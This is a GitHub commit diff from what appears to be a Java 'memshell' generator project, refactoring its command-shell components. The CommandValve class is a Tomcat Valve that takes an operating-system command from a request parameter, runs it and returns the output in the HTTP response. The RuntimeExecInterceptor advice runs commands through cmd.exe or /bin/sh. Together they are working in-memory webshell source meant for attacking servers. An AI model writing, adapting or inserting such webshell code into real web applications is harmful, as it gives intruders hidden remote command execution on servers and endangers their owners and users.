Skip to content

Commit 88ced9a

Browse files
committed
refactor: simplify command shell
1 parent 1cae99a commit 88ced9a

File tree

2 files changed

+7
-11
lines changed

2 files changed

+7
-11
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
public class RuntimeExecInterceptor {
1313
@Advice.OnMethodExit
1414
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
15-
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
15+
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
16+
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
1617
}
1718
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

Lines changed: 5 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -8,25 +8,21 @@
88
import javax.servlet.ServletOutputStream;
99
import java.io.IOException;
1010
import java.io.InputStream;
11+
import java.util.Scanner;
1112

1213
/**
1314
* @author ReaJason
1415
*/
1516
public class CommandValve implements Valve {
16-
private static String paramName;
17+
static String paramName;
1718

1819
@Override
1920
public void invoke(Request request, Response response) throws IOException, ServletException {
2021
try {
2122
String param = getParam(request.getParameter(paramName));
2223
if (param != null) {
2324
InputStream inputStream = getInputStream(param);
24-
ServletOutputStream outputStream = response.getOutputStream();
25-
byte[] buf = new byte[8192];
26-
int length;
27-
while ((length = inputStream.read(buf)) != -1) {
28-
outputStream.write(buf, 0, length);
29-
}
25+
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
3026
return;
3127
}
3228
} catch (Throwable e) {
@@ -43,8 +39,7 @@ private InputStream getInputStream(String cmd) throws Exception {
4339
return null;
4440
}
4541

46-
protected Valve next;
47-
protected boolean asyncSupported;
42+
Valve next;
4843

4944
@Override
5045
public Valve getNext() {
@@ -58,7 +53,7 @@ public void setNext(Valve valve) {
5853

5954
@Override
6055
public boolean isAsyncSupported() {
61-
return this.asyncSupported;
56+
return false;
6257
}
6358

6459
@Override

0 commit comments

Comments
 (0)